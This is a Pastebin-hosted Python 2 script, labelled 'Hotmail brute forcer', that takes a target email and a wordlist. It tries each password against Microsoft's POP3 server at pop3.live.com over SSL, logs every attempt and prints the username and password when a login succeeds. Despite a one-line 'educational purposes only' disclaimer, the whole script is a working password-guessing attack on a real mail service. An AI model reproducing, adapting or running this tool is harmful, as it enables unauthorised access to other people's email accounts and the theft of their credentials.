Advertisement
Guest User

Untitled

a guest
Jul 21st, 2017
456
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.33 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. # Hotmail brute forcer
  4. # This program is only for educational purposes only.
  5.  
  6. import sys, poplib, time
  7.  
  8. log = "gne-hotmailbrute.log"
  9. file = open(log, "a")
  10. counter = 0
  11. face = '''
  12. a
  13.  
  14. & createbyShay
  15.  
  16. '''
  17.  
  18. help = '''
  19. Usage : ./hotmail.py -u [email] -w [wordlist]
  20. Example : ./hotmail.py -u za2@hotmail.Com -w wordlist.txt
  21. '''
  22.  
  23. for arg in sys.argv:
  24. if arg.lower() == '-u' or arg.lower() == '--user':
  25. email = sys.argv[int(sys.argv.index(arg))+1]
  26. elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  27. wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  28. elif arg.lower() == '-h' or arg.lower() == '--help':
  29. print face
  30. print help
  31. file.write(face)
  32. file.write(help)
  33.  
  34. #Change these if needed.
  35. HOST = 'pop3.live.com'
  36. PORT = 995
  37.  
  38. try:
  39. preventstrokes = open(wordlist, "r")
  40. words = preventstrokes.readlines()
  41. count = 0
  42. while count < len(words):
  43. words[count] = words[count].strip()
  44. count += 1
  45. except(IOError):
  46. print "\n[-] Error: Check your wordlist path\n"
  47. file.write("\n[-] Error: Check your wordlist path\n")
  48. sys.exit(1)
  49. def definer():
  50. print "-" * 60
  51. print "[+] Email : %s" % email
  52. print "[+] Wordlist : %s" % wordlist
  53. print "[+] Length wordlist : %s " % len(words)
  54. print "[+] Time Starting : %s" % time.strftime("%X")
  55. print "-" * 60
  56. file.write ("\n[+] Email : %s" % email)
  57. file.write ("\n[+] Wordlist : %s" % wordlist)
  58. file.write ("\n[+] length wordlist : %s " % len(words))
  59. file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))
  60.  
  61. def main(password):
  62. global counter
  63. sys.stdout.write ("[-] Trying : %s \n" % (password))
  64. sys.stdout.flush()
  65. file.write("[-] Trying : %s \n" % (str(password)))
  66. try:
  67. pop = poplib.POP3_SSL(HOST, PORT)
  68. pop.user(email)
  69. pop.pass_(password)
  70. pop.quit()
  71. print "[+] Sarkawtw Bw !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Rasta!" % (email, password)
  72. file.write("[+] Sarkawtw Bw !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : rasta!" % (email, password))
  73. sys.exit(1)
  74. except Exception, e:
  75. pass
  76. except KeyboardInterrupt:
  77. print "\n[-] Aborting...\n"
  78. file.write("\n[-] Aborting...\n")
  79. sys.exit(1)
  80. counter+=1
  81. if counter == len(words)/5:
  82. print "[+] Hotmailbruteforcer 20% way done..."
  83. print "[+] Please be patient..."
  84. file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
  85. file.write("[+] Please be patient...\n")
  86. elif counter == len(words)/4:
  87. print "[+] Hotmailbruteforcer 25% way done..."
  88. print "[+] Please be patient..."
  89. file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
  90. file.write("[+] Please be patient...\n")
  91. elif counter == len(words)/2:
  92. print "[+] Hotmailbruteforcer on 50% done..."
  93. print "[+] Please be patient..."
  94. file.write("[+] hotmailbruteforcer on halfway done...\n")
  95. file.write("[+] Please be patient...\n")
  96. elif counter == len(words):
  97. print "[+] Hotmailbruteforcer done...\n"
  98. file.write("[+] Hotmailbruteforcer done...!\n")
  99.  
  100. if __name__ == '__main__':
  101. print face
  102. file.write(face)
  103. definer()
  104. for password in words:
  105. main(password.replace("\n",""))
  106. main(password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement